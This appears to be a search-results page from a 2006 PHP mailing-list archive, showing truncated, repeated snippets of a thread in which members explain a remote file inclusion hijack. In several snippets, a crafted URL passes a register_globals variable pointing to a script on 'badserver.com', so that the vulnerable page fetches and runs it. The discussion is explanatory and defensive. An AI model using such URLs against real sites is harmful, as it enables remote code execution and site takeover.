At 11:02 PM + 11/14/06, Tom Chubb wrote:
Posts like this are what makes this list so great!
It's better to read this here than experience it first hand!
Thanks Tedd, for highlighting the problem.
Tom
Tom:
You're welcome, but I never have a problem showing my ignorance. --
that just comes
Posts like this are what makes this list so great!
It's better to read this here than experience it first hand!
Thanks Tedd, for highlighting the problem.
Tom
On 14/11/06, tedd <[EMAIL PROTECTED]> wrote:
At 9:13 PM + 11/14/06, Stut wrote:
>Ok, so badscript.php is a bad name for this script.
At 9:13 PM + 11/14/06, Stut wrote:
Ok, so badscript.php is a bad name for this script. Let's say
show.php is a script you've written. You were tired, the kids were
running around you screaming and shouting, and you wrote something
like the following without really thinking about it...
T
tedd wrote:
Ohhh, so "badscript.php doesn't have to exist and the badscript.txt is
imported via the url, the script is built using only the badscript.txt,
and then executed "as-is" -- clever.
Off to try that... :-)
...
Nope, that didn't work -- I still don't get it.
I realize that one can g
At 11:57 AM -0800 11/14/06, bruce wrote:
hi tedd...
for the following url, http://www.example.com/test.php?path=abc?dummy=123
if the register_globals is on, a malicious user could potentially invoke,
http://www.example.com/badscript.php?path=http://www.badserver.com/badscript
.txt?dummy=123, wh
[mailto:[EMAIL PROTECTED]
Sent: Tuesday, November 14, 2006 11:46 AM
To: Chris Shiflett
Cc: PHP
Subject: Re: Fwd: [PHP] Highjack?
At 1:39 PM -0500 11/14/06, Chris Shiflett wrote:
>tedd wrote:
>> > The script will then include
>> > http://www.badserver.com/badscript.txt?dummy=s
tedd wrote:
> At 1:39 PM -0500 11/14/06, Chris Shiflett wrote:
>> tedd wrote:
>>> > The script will then include
>>> > http://www.badserver.com/badscript.txt?dummy=script.php
>>>
>>> I still don't see how "badscript.php" can be uploaded into
>>> example.com's site in the first place
>>
>> PHP s
for the index.php files to be
> changed, is that there
> was some security hole, either via apache, and/or the OS for
> the server.
>
> hope this helps a little bit more...
>
>
>
> the http://www.example.com/badscript.php?could
>
> -----Original Message-
>
At 11:57 AM -0800 11/14/06, bruce wrote:
hi tedd...
for the following url, http://www.example.com/test.php?path=abc?dummy=123
if the register_globals is on, a malicious user could potentially invoke,
http://www.example.com/badscript.php?path=http://www.badserver.com/badscript
.txt?dummy=123, wh
At 1:39 PM -0500 11/14/06, Chris Shiflett wrote:
tedd wrote:
> The script will then include
> http://www.badserver.com/badscript.txt?dummy=script.php
I still don't see how "badscript.php" can be uploaded into
example.com's site in the first place
PHP sends a request to badserver.com for b
tedd wrote:
> > The script will then include
> > http://www.badserver.com/badscript.txt?dummy=script.php
>
> I still don't see how "badscript.php" can be uploaded into
> example.com's site in the first place
PHP sends a request to badserver.com for badscript.txt, and the content
of the response i
At 7:12 PM +0100 11/13/06, Rory Browne wrote:
If register_globals is enabled, someone could
http://www.example.com/badscript.php?path=http://www.badserver.com/badscript.txt?dummy=
The script will then include
http://www.badserver.com/badscript.txt?dummy=script.php
I still don't see how "bad
-- Forwarded message --
From: Rory Browne <[EMAIL PROTECTED]>
Date: Nov 13, 2006 7:12 PM
Subject: Re: [PHP] Highjack?
To: [EMAIL PROTECTED]
On 11/13/06, bruce <[EMAIL PROTECTED]> wrote:
eric...
you say how embarrasing regaring the $path.'foo' i'm curious, why/how
is
this
13 matches
Mail list logo
